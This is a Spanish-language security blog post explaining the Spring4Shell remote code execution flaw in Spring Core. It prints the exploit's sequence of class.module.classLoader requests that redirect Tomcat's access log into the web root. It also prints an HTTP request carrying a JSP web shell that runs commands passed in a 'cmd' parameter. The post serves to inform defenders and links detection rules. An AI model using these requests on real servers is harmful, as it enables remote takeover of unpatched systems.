Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET Mastodon

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Entradas populares

PostHeaderIcon Spring4Shell: un nuevo 0-day en Spring (Java)


 Recientemente, un miembro del grupo KnownSec con nick p1n93r publicó un pantallazo en su cuenta de Twitter que mostraba un RCE explotado trivialmente contra el core de Spring (no confundir con otra en Spring Cloud - CVE-2022-22963), ya sabéis, uno de los frameworks en Java más populares en Internet.




La vulnerabilidad (sin CVE a fecha de este post) afecta a versiones JDK 9 y posteriores. Poco después el tweet y hasta la cuenta del investigador chino fueron eliminadas, comenzaba la cuenta atrás...

Y no se hizo esperar... ya se sabe... una vez que se sube algo a Internet existe para siempre y por ejemplo podemos encontrar el breve pero revelador paper en la web de nuestros amigos de vx-underground: https://share.vx-underground.org/SpringCore0day.7z


La vulnerabilidad realmente es un bypass de CVE-2010-1622 y es que el código no debería permitir bindear parámetros a ninguna propiedad de Classloader, sin importar si se definen listas permitidas/bloqueadas. 

Y al igual que ya se hizo hace unos años con Struts la PoC publicada se basa en abusar del ClassLoader que usa Tomcat. El exploit funciona modificando los ajustes de configuración de Tomcat (a través de AccessLogValve); más específicamente, cambia el esquema de nombres de los archivos de log y la ubicación donde se almacenan los mismos para llevarlos al document root.

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%69

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

A partir de esas peticiones, cuando el atacante envíe una solicitud que contenga un script malicioso, normalmente código JSP, se registrará en el archivo de log, que ahora puede tener el nombre y la extensión que elija el atacante (en el ejemplo, fuckJsp.jsp). 


GET /poc/index HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Chrome/99.0.7113.93 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

randompattern: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1


Dado que este archivo de log ahora está en WEBROOT o en algún lugar desde el cual el servidor web sirve páginas que contienen código JSP, el atacante puede enviar una solicitud GET para fuckjsp.jsp. Cuando el servidor web procesa este archivo, ejecutará el código malicioso y el atacante obtiene la ejecución remota del código en el servidor web. 


Fuente:

https://www.hackplayers.com/2022/03/springshell-rce-core-spring.html

YARA rules

https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar


Referencias

https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
https://bugalert.org/content/notices/2022-03-29-spring.html
https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
https://www.springcloud.io/post/2022-03/spring-0day-vulnerability
https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

https://www.praetorian.com/blog/spring-core-jdk9-rce/ 


0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.